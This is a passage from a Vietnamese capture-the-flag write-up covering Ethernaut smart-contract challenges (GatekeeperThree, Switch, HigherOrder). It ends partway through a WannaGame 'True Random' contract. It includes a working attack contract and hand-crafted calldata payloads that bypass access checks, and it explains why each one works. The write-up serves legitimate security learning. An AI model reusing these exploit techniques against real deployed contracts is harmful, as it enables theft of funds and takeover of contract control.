&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">receive&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Tương tự như hai bài Gatekeeper trước, ta cần vượt qua các modifier &lt;code>gateOne&lt;/code>, &lt;code>gateTwo&lt;/code>, &lt;code>gateThree&lt;/code>.&lt;/p>
&lt;p>Ta sẽ tìm cách vượt qua &lt;code>gateTwo&lt;/code> trước. Modifier &lt;code>gateTwo&lt;/code> yêu cầu &lt;code>allowEntrance == true&lt;/code>, và điều này đạt được khi ta gọi hàm &lt;code>getAllowance()&lt;/code> với password đúng. Để tìm được password, ta cần phải gọi hàm &lt;code>createTrick()&lt;/code> để contract &lt;code>SimpleTrick&lt;/code> gen password. Sau đó, ta có thể đọc giá trị của &lt;code>password&lt;/code> trong contract &lt;code>SimpleTrick&lt;/code> thông qua lệnh &lt;code>web3.eth.getStorageAt()&lt;/code> với slot 2. Vậy là ta đã có password và vượt qua &lt;code>gateTwo&lt;/code>.&lt;/p>
&lt;p>Đối với &lt;code>gateThree&lt;/code>, ta chia làm hai phần tương ứng với 2 điều kiện ta cần vượt qua là &lt;code>address(this).balance &amp;gt; 0.001 ether&lt;/code> và &lt;code>payable(owner).send(0.001 ether) == false)&lt;/code>. Với điều kiện đầu, do contract có hàm &lt;code>receive()&lt;/code> nên ta chỉ cần chuyển tiền vào với hàm &lt;code>sendTransaction&lt;/code> của web3js là được.&lt;/p>
&lt;p>Đối với &lt;code>gateOne&lt;/code> và điều kiện sau của &lt;code>gateThree&lt;/code>, ta sẽ tạo contract attack với những điều kiện sau:&lt;/p>
&lt;ul>
&lt;li>&lt;code>owner&lt;/code> chính là địa chỉ của attack contract&lt;/li>
&lt;li>&lt;code>tx.origin&lt;/code> là địa chỉ của ta&lt;/li>
&lt;li>Khi chuyển tiền đến contract attack sẽ báo lỗi, vì thế sẽ trả về &lt;code>false&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Như thế, contract attack của ta sẽ như sau:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/gatekeeper3.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">GatekeeperThree&lt;/span> &lt;span class="n">IGatekeeperThree&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getInstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IGatekeeperThree&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">GatekeeperThree&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IGatekeeperThree&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">construct0r&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">solve&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IGatekeeperThree&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">enter&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">receive&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">revert&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Giờ thì deploy attack contract và interact nữa là xong.&lt;/p>
&lt;h3 id="switch">Switch&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Switch&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">switchOn&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="c1">// switch is off
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">bytes4&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">offSelector&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">bytes4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">keccak256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;turnSwitchOff()&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">onlyThis&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s">&amp;#34;Only the contract can call this&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">onlyOff&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// we use a complex data type to put in memory
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">bytes32&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="nb">selector&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// check that the calldata at position 68 (location of _data)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">assembly&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">calldatacopy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">selector&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">68&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">// grab function selector from calldata
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">selector&lt;/span>&lt;span class="err">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="err">]&lt;/span> &lt;span class="err">==&lt;/span> &lt;span class="n">offSelector&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Can only call the turnOffSwitch function&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">flipSwitch&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">_data&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">onlyOff&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span> &lt;span class="n">success&lt;/span>&lt;span class="p">,)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">call&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_data&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;call failed :(&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">turnSwitchOn&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">onlyThis&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">switchOn&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">turnSwitchOff&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">onlyThis&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">switchOn&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần tìm cách để biến &lt;code>switchOn&lt;/code> trở thành &lt;code>true&lt;/code>.&lt;/p>
&lt;p>Ta cần phải gọi được hàm &lt;code>turnSwitchOn()&lt;/code> để có thể chuyển trạng thái của &lt;code>switchOn&lt;/code> trở thành &lt;code>true&lt;/code>, tuy nhiên, modifier &lt;code>onlyThis&lt;/code> yêu cầu chỉ có contract mới có thể vượt qua nên ta sẽ nghĩ cách gọi hàm &lt;code>turnSwitchOn()&lt;/code> ở chỗ khác.&lt;/p>
&lt;p>Ta chú ý đến hàm &lt;code>flipSwitch()&lt;/code>, nếu gọi được hàm &lt;code>turnSwitchOn()&lt;/code> bằng method &lt;code>.call&lt;/code> ở trong này thì có thể vượt qua modifier &lt;code>onlyThis&lt;/code>. Để gọi được hàm &lt;code>flipSwitch()&lt;/code>, ta cần xem qua modifier &lt;code>onlyOff&lt;/code>.&lt;/p>
&lt;p>Với modifier &lt;code>onlyOff&lt;/code>, ta cần vượt qua điều kiện &lt;code>selector[0] == offSelector&lt;/code>. Ở đây, &lt;code>selector&lt;/code> được tạo bằng cách copy 4 bytes từ byte thứ 68 (vị trí bắt đầu của &lt;code>_data&lt;/code>), do đó, ta sẽ tìm cách làm cho 4 bytes từ byte thứ 68 của &lt;code>_data&lt;/code> bằng với &lt;code>bytes4(keccak256(&amp;quot;turnSwitchOff()&amp;quot;))&lt;/code>, trong khi ta vẫn gọi được hàm &lt;code>turnSwitchOn()&lt;/code>.&lt;/p>
&lt;p>Trong đề bài đã hint về việc encode trong &lt;code>CALLDATA&lt;/code>, và có thể đọc ở Solidity doc tại &lt;a href="https://docs.soliditylang.org/en/v0.8.19/abi-spec.html#examples">đây&lt;/a>. Ta chú ý rằng kiểu dữ liệu &lt;code>bytes&lt;/code> là dynamic types, do đó ta cần sử dụng offset ở dạng bytes để biết được data bắt đầu từ đâu. Do ta có thể điều kiển việc đọc data của solidity qua offset, nên ta sẽ nghĩ đến việc chỉnh sửa offset của nó.&lt;/p>
&lt;p>Với idea như vậy, &lt;code>_data&lt;/code> của ta sẽ là &lt;code>0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000&lt;/code>, trong đó:&lt;/p>
&lt;ul>
&lt;li>&lt;code>30c13ade&lt;/code> : Method ID của hàm &lt;code>flipSwitch()&lt;/code>, tức là &lt;code>bytes4(keccak256(&amp;quot;flipSwitch()&amp;quot;))&lt;/code>. Ta sẽ gọi hàm bằng cách này nếu gọi qua &lt;code>.call&lt;/code>&lt;/li>
&lt;li>&lt;code>0000000000000000000000000000000000000000000000000000000000000060&lt;/code>: Giá trị của offset. Ở đây, ta sẽ muốn đọc giá trị bắt đầu từ byte 96 (không tính Method ID).&lt;/li>
&lt;li>&lt;code>0000000000000000000000000000000000000000000000000000000000000000&lt;/code>: Các byte thêm vào ngẫu nhiên. Do &lt;code>selector&lt;/code> lấy 4 bytes từ byte thứ 68 (tính cả Method ID) trở đi, ta cần thêm 32 bytes để có thể điều khiển được &lt;code>selector&lt;/code> sẽ lấy gì.&lt;/li>
&lt;li>&lt;code>20606e1500000000000000000000000000000000000000000000000000000000&lt;/code>: MethodID của hàm &lt;code>turnSwitchOff()&lt;/code>. Nếu đặt ở đây, &lt;code>selector&lt;/code> sẽ nhận 4 bytes &lt;code>20606e15&lt;/code> và do đó, ta có thể vượt qua điều kiện &lt;code>selector[0] == offSelector&lt;/code>&lt;/li>
&lt;li>&lt;code>0000000000000000000000000000000000000000000000000000000000000004&lt;/code>: Độ dài của &lt;code>_data&lt;/code>&lt;/li>
&lt;li>&lt;code>76227e1200000000000000000000000000000000000000000000000000000000&lt;/code>: MethodID của &lt;code>turnSwitchOn()&lt;/code>. Như vậy, method &lt;code>.call&lt;/code> sẽ gọi hàm &lt;code>turnSwitchOn&lt;/code> và chuyển &lt;code>switchOn = true&lt;/code>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">sendTransaction&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="nx">from&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">player&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">to&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">instance&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">data&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000&amp;#34;&lt;/span>&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Bài học: &amp;ldquo;Assuming positions in &lt;code>CALLDATA&lt;/code> with dynamic types can be erroneous, especially when using hard-coded &lt;code>CALLDATA&lt;/code> positions.&amp;rdquo;&lt;/p>
&lt;h3 id="higherorder">HigherOrder&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">HigherOrder&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">commander&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">treasury&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">registerTreasury&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint8&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assembly&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">sstore&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">treasury_slot&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">calldataload&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">claimLeadership&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">treasury&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">255&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">commander&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span> &lt;span class="nb">revert&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Only members of the Higher Order can become Commander&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần trở thành &lt;code>commander&lt;/code> bằng cách gọi thành công hàm &lt;code>claimLeadership()&lt;/code>.&lt;/p>
&lt;p>Để gọi được hàm &lt;code>claimLeadership()&lt;/code>, ta cần phải làm cho biến &lt;code>treasury&lt;/code> lớn hơn 255. Hàm duy nhất có thể chỉnh sửa biến &lt;code>treasury&lt;/code> chính là &lt;code>registerTreasury()&lt;/code>, tuy nhiên hàm này chỉ cho phép input nhỏ hơn 256 (&lt;code>uint8&lt;/code>). Tuy nhiên, điều mà ta chú ý ở đây chính là hàm &lt;code>calldataload(4)&lt;/code>.&lt;/p>
&lt;p>Hàm &lt;code>calldataload(4)&lt;/code> sẽ load 32 bytes từ byte thứ 4 trong data, nhưng ta cần làm rõ &amp;lsquo;data&amp;rsquo; ở đây là gì, và mình tìm được câu trả lời ở &lt;a href="https://www.reddit.com/r/ethereum/comments/dw1lgj/please_explain_what_data_is_in_calldataload/">đây&lt;/a>. Như vậy, ta có thể custom &lt;code>msg.data&lt;/code> với việc gọi hàm &lt;code>registerTreasury(uint8)&lt;/code> với input lớn hơn 255, bằng cách này, ta có thể gọi hàm &lt;code>claimLeadership()&lt;/code> và hoàn thành challenge!&lt;/p>
&lt;p>Bài này có thể giải trên console với web3js bằng command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">sendTransaction&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="nx">from&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">player&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">to&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">instance&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">data&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s2">&amp;#34;0x211c85ab0000000000000000000000000000000000000000000000000000000000000100&amp;#34;&lt;/span>&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>với &lt;code>211c85ab&lt;/code> là MethodID của &lt;code>registerTreasury(uint8)&lt;/code> và &lt;code>0000000000000000000000000000000000000000000000000000000000000100&lt;/code> là input của function.&lt;/p>
&lt;h2 id="wannagame-championship">WannaGame Championship&lt;/h2>
&lt;h3 id="true-random">True Random&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: UNLICENSED
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">LuckyWheel&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">closed&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">onlyEOA&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="n">isContract&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s">&amp;#34;LuckyWheel: ONLY_EOA&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">isContract&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">addr&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">internal&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">size&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assembly&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">size&lt;/span> &lt;span class="o">:=&lt;/span> &lt;span class="nf">extcodesize&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">addr&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
